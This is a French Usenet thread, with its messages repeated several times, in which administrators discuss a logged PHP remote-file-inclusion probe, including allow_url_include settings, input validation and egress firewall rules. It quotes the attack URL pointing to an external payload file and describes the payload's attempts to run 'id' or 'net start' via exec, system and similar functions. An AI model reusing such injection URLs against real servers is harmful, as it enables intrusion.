En général, c'est pour faire une injection de code PHP. Ça fonctionne si le serveur est hyper mal configuré.
patpro
-- A vendre ! http://www.patpro.net/blog/index.php/2008/01/12/133
Xavier Roche
patpro ~ Patrick Proniewski wrote:
En général, c'est pour faire une injection de code PHP.
Ie. si vous faites quelque chose comme un @include($x.'.php')
Ça fonctionne si le serveur est hyper mal configuré.
Humm, c'est toujours activé par défaut dans php à priori (de même que fopen('http://...')). Le problème est la non vérification de la variable injectée.
Toujours, _toujours_ vérifier les données venant de l'exterieur (ici, une variable postée) de manière paranoïaque. Toujours.
patpro ~ Patrick Proniewski wrote:
En général, c'est pour faire une injection de code PHP.
Ie. si vous faites quelque chose comme un @include($x.'.php')
Ça fonctionne si le serveur est hyper mal configuré.
Humm, c'est toujours activé par défaut dans php à priori (de même que
fopen('http://...')). Le problème est la non vérification de la variable
injectée.
Toujours, _toujours_ vérifier les données venant de l'exterieur (ici,
une variable postée) de manière paranoïaque. Toujours.
En général, c'est pour faire une injection de code PHP.
Ie. si vous faites quelque chose comme un @include($x.'.php')
Ça fonctionne si le serveur est hyper mal configuré.
Humm, c'est toujours activé par défaut dans php à priori (de même que fopen('http://...')). Le problème est la non vérification de la variable injectée.
Toujours, _toujours_ vérifier les données venant de l'exterieur (ici, une variable postée) de manière paranoïaque. Toujours.
patpro ~ Patrick Proniewski
In article <gbg06e$u75$, Xavier Roche wrote:
patpro ~ Patrick Proniewski wrote: > En général, c'est pour faire une injection de code PHP.
Ie. si vous faites quelque chose comme un @include($x.'.php')
> Ça fonctionne si le serveur est hyper mal configuré.
Humm, c'est toujours activé par défaut dans php à priori (de même que fopen('http://...')). Le problème est la non vérification de la variable injectée.
apres vérif ça donne :
allow_url_fopen = On allow_url_include = Off
dans mon php.ini-dist (ports FreeBSD).
C'est donc partiellement problématique, mais le gros du pire est quand même évité. Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu du fichier ouvert.
Le soucis, c'est qu'avec les applications web 2.0 (hahaha), les sites se pinguent dans tous les sens, font tout et n'importe quoi, et interdir fopen des URL peut sans doute facilement casser quelque chose.
Toujours, _toujours_ vérifier les données venant de l'exterieur (ici, une variable postée)
Pour ma part, j'ai aussi configuré mon firewall pour que le user du serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En soi, cela n'interdit pas les injections, mais ça rend la chose moins intéressante (exit les relay irc, ...).
patpro
-- A vendre ! http://www.patpro.net/blog/index.php/2008/01/12/133
In article <gbg06e$u75$1@news.httrack.net>,
Xavier Roche <xroche@free.fr.NOSPAM.invalid> wrote:
patpro ~ Patrick Proniewski wrote:
> En général, c'est pour faire une injection de code PHP.
Ie. si vous faites quelque chose comme un @include($x.'.php')
> Ça fonctionne si le serveur est hyper mal configuré.
Humm, c'est toujours activé par défaut dans php à priori (de même que
fopen('http://...')). Le problème est la non vérification de la variable
injectée.
apres vérif ça donne :
allow_url_fopen = On
allow_url_include = Off
dans mon php.ini-dist (ports FreeBSD).
C'est donc partiellement problématique, mais le gros du pire est quand
même évité.
Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme
d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu
du fichier ouvert.
Le soucis, c'est qu'avec les applications web 2.0 (hahaha), les sites se
pinguent dans tous les sens, font tout et n'importe quoi, et interdir
fopen des URL peut sans doute facilement casser quelque chose.
Toujours, _toujours_ vérifier les données venant de l'exterieur (ici,
une variable postée)
Pour ma part, j'ai aussi configuré mon firewall pour que le user du
serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En
soi, cela n'interdit pas les injections, mais ça rend la chose moins
intéressante (exit les relay irc, ...).
patpro
--
A vendre ! http://www.patpro.net/blog/index.php/2008/01/12/133
patpro ~ Patrick Proniewski wrote: > En général, c'est pour faire une injection de code PHP.
Ie. si vous faites quelque chose comme un @include($x.'.php')
> Ça fonctionne si le serveur est hyper mal configuré.
Humm, c'est toujours activé par défaut dans php à priori (de même que fopen('http://...')). Le problème est la non vérification de la variable injectée.
apres vérif ça donne :
allow_url_fopen = On allow_url_include = Off
dans mon php.ini-dist (ports FreeBSD).
C'est donc partiellement problématique, mais le gros du pire est quand même évité. Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu du fichier ouvert.
Le soucis, c'est qu'avec les applications web 2.0 (hahaha), les sites se pinguent dans tous les sens, font tout et n'importe quoi, et interdir fopen des URL peut sans doute facilement casser quelque chose.
Toujours, _toujours_ vérifier les données venant de l'exterieur (ici, une variable postée)
Pour ma part, j'ai aussi configuré mon firewall pour que le user du serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En soi, cela n'interdit pas les injections, mais ça rend la chose moins intéressante (exit les relay irc, ...).
patpro
-- A vendre ! http://www.patpro.net/blog/index.php/2008/01/12/133
Xavier Roche
patpro ~ Patrick Proniewski a écrit :
allow_url_include = Off
Ah, c'est mieux déja :)
Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu du fichier ouvert.
Oui, pour le fopen c'est à priori peu problématique.
Pour ma part, j'ai aussi configuré mon firewall pour que le user du serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En soi, cela n'interdit pas les injections, mais ça rend la chose moins intéressante (exit les relay irc, ...).
En sortie aussi ? Un script php qui lance en arière plan une socket vers l'exterieur et y pipe un shell, c'est faisable :)
patpro ~ Patrick Proniewski a écrit :
allow_url_include = Off
Ah, c'est mieux déja :)
Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme
d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu
du fichier ouvert.
Oui, pour le fopen c'est à priori peu problématique.
Pour ma part, j'ai aussi configuré mon firewall pour que le user du
serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En
soi, cela n'interdit pas les injections, mais ça rend la chose moins
intéressante (exit les relay irc, ...).
En sortie aussi ? Un script php qui lance en arière plan une socket vers
l'exterieur et y pipe un shell, c'est faisable :)
Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu du fichier ouvert.
Oui, pour le fopen c'est à priori peu problématique.
Pour ma part, j'ai aussi configuré mon firewall pour que le user du serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En soi, cela n'interdit pas les injections, mais ça rend la chose moins intéressante (exit les relay irc, ...).
En sortie aussi ? Un script php qui lance en arière plan une socket vers l'exterieur et y pipe un shell, c'est faisable :)
patpro ~ patrick proniewski
In article <gbghjt$en3$, Xavier Roche wrote:
patpro ~ Patrick Proniewski a écrit : > allow_url_include = Off
Ah, c'est mieux déja :)
> Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme > d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu > du fichier ouvert.
Oui, pour le fopen c'est à priori peu problématique.
> Pour ma part, j'ai aussi configuré mon firewall pour que le user du > serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En > soi, cela n'interdit pas les injections, mais ça rend la chose moins > intéressante (exit les relay irc, ...).
En sortie aussi ? Un script php qui lance en arière plan une socket vers l'exterieur et y pipe un shell, c'est faisable :)
uniquement en sortie, puisque c'est une regle qui se base sur l'UID du process local. Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que vers les ports 80 et 443 (et vers les connexions ouvertes par des clients, bien évidement). Il y a toujours des cas où on pourra tourner autour. Mais mon but était surtout d'éviter que la compromission du serveur web permette de faire des connexions sauvages vers l'extérieur.
patpro
-- A vendre : KVM IP 16 ports APC http://patpro.net/blog/index.php/2008/01/12/133
In article <gbghjt$en3$2@news.httrack.net>,
Xavier Roche <xroche@free.fr.NOSPAM.invalid> wrote:
patpro ~ Patrick Proniewski a écrit :
> allow_url_include = Off
Ah, c'est mieux déja :)
> Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme
> d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu
> du fichier ouvert.
Oui, pour le fopen c'est à priori peu problématique.
> Pour ma part, j'ai aussi configuré mon firewall pour que le user du
> serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En
> soi, cela n'interdit pas les injections, mais ça rend la chose moins
> intéressante (exit les relay irc, ...).
En sortie aussi ? Un script php qui lance en arière plan une socket vers
l'exterieur et y pipe un shell, c'est faisable :)
uniquement en sortie, puisque c'est une regle qui se base sur l'UID du
process local.
Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que
vers les ports 80 et 443 (et vers les connexions ouvertes par des
clients, bien évidement).
Il y a toujours des cas où on pourra tourner autour. Mais mon but était
surtout d'éviter que la compromission du serveur web permette de faire
des connexions sauvages vers l'extérieur.
patpro
--
A vendre : KVM IP 16 ports APC
http://patpro.net/blog/index.php/2008/01/12/133
patpro ~ Patrick Proniewski a écrit : > allow_url_include = Off
Ah, c'est mieux déja :)
> Corrigez moi si je me trompe, mais le fopen n'est pas dangereux en terme > d'injection de code PHP, sauf si on fait bêtement un exec sur le contenu > du fichier ouvert.
Oui, pour le fopen c'est à priori peu problématique.
> Pour ma part, j'ai aussi configuré mon firewall pour que le user du > serveur web ne puisse pas sortir sur d'autres ports sur le 80 et 443. En > soi, cela n'interdit pas les injections, mais ça rend la chose moins > intéressante (exit les relay irc, ...).
En sortie aussi ? Un script php qui lance en arière plan une socket vers l'exterieur et y pipe un shell, c'est faisable :)
uniquement en sortie, puisque c'est une regle qui se base sur l'UID du process local. Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que vers les ports 80 et 443 (et vers les connexions ouvertes par des clients, bien évidement). Il y a toujours des cas où on pourra tourner autour. Mais mon but était surtout d'éviter que la compromission du serveur web permette de faire des connexions sauvages vers l'extérieur.
patpro
-- A vendre : KVM IP 16 ports APC http://patpro.net/blog/index.php/2008/01/12/133
Xavier Roche
patpro ~ patrick proniewski a écrit :
Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que vers les ports 80 et 443 (et vers les connexions ouvertes par des clients, bien évidement).
Donc si le script lance une connexion avec un shell pipé vers une machine extérieure sur le port 80, c'est bon :)
patpro ~ patrick proniewski a écrit :
Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que
vers les ports 80 et 443 (et vers les connexions ouvertes par des
clients, bien évidement).
Donc si le script lance une connexion avec un shell pipé vers une
machine extérieure sur le port 80, c'est bon :)
Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que vers les ports 80 et 443 (et vers les connexions ouvertes par des clients, bien évidement).
Donc si le script lance une connexion avec un shell pipé vers une machine extérieure sur le port 80, c'est bon :)
patpro ~ patrick proniewski
In article <gbj6ng$4mc$, Xavier Roche wrote:
patpro ~ patrick proniewski a écrit : > Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que > vers les ports 80 et 443 (et vers les connexions ouvertes par des > clients, bien évidement).
Donc si le script lance une connexion avec un shell pipé vers une machine extérieure sur le port 80, c'est bon :)
oui, mais pour arriver là, y'a du boulot.
patpro
-- A vendre : KVM IP 16 ports APC http://patpro.net/blog/index.php/2008/01/12/133
In article <gbj6ng$4mc$1@news.httrack.net>,
Xavier Roche <xroche@free.fr.NOSPAM.invalid> wrote:
patpro ~ patrick proniewski a écrit :
> Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que
> vers les ports 80 et 443 (et vers les connexions ouvertes par des
> clients, bien évidement).
Donc si le script lance une connexion avec un shell pipé vers une
machine extérieure sur le port 80, c'est bon :)
oui, mais pour arriver là, y'a du boulot.
patpro
--
A vendre : KVM IP 16 ports APC
http://patpro.net/blog/index.php/2008/01/12/133
patpro ~ patrick proniewski a écrit : > Dans mon cas, l'UID 80 (www) n'est autorisée à émettre des packets que > vers les ports 80 et 443 (et vers les connexions ouvertes par des > clients, bien évidement).
Donc si le script lance une connexion avec un shell pipé vers une machine extérieure sur le port 80, c'est bon :)
oui, mais pour arriver là, y'a du boulot.
patpro
-- A vendre : KVM IP 16 ports APC http://patpro.net/blog/index.php/2008/01/12/133
Olivier Miakinen
Le 25/09/2008 13:03, patpro ~ Patrick Proniewski a écrit :
http://urldemonsite/index.php?x=http://www.trosken.com/test.txt? Quel est le rôle de ce fichier test.txt ? Que cherchait on à faire ?
En général, c'est pour faire une injection de code PHP.
Oui. Il suffit d'ailleurs de regarder ce que contient ce fichier : http://www.trosken.com/test.txt
On voit que le script essaye de lancer une commande « id » ou « net start », via l'une des fonctions suivantes : exec, shell_exec, system, passthru ou popen+fread (selon ce qui existe).
Le 25/09/2008 13:03, patpro ~ Patrick Proniewski a écrit :
http://urldemonsite/index.php?x=http://www.trosken.com/test.txt?
Quel est le rôle de ce fichier test.txt ?
Que cherchait on à faire ?
En général, c'est pour faire une injection de code PHP.
Oui. Il suffit d'ailleurs de regarder ce que contient ce fichier :
http://www.trosken.com/test.txt
On voit que le script essaye de lancer une commande « id » ou « net
start », via l'une des fonctions suivantes : exec, shell_exec, system,
passthru ou popen+fread (selon ce qui existe).
Le 25/09/2008 13:03, patpro ~ Patrick Proniewski a écrit :
http://urldemonsite/index.php?x=http://www.trosken.com/test.txt? Quel est le rôle de ce fichier test.txt ? Que cherchait on à faire ?
En général, c'est pour faire une injection de code PHP.
Oui. Il suffit d'ailleurs de regarder ce que contient ce fichier : http://www.trosken.com/test.txt
On voit que le script essaye de lancer une commande « id » ou « net start », via l'une des fonctions suivantes : exec, shell_exec, system, passthru ou popen+fread (selon ce qui existe).
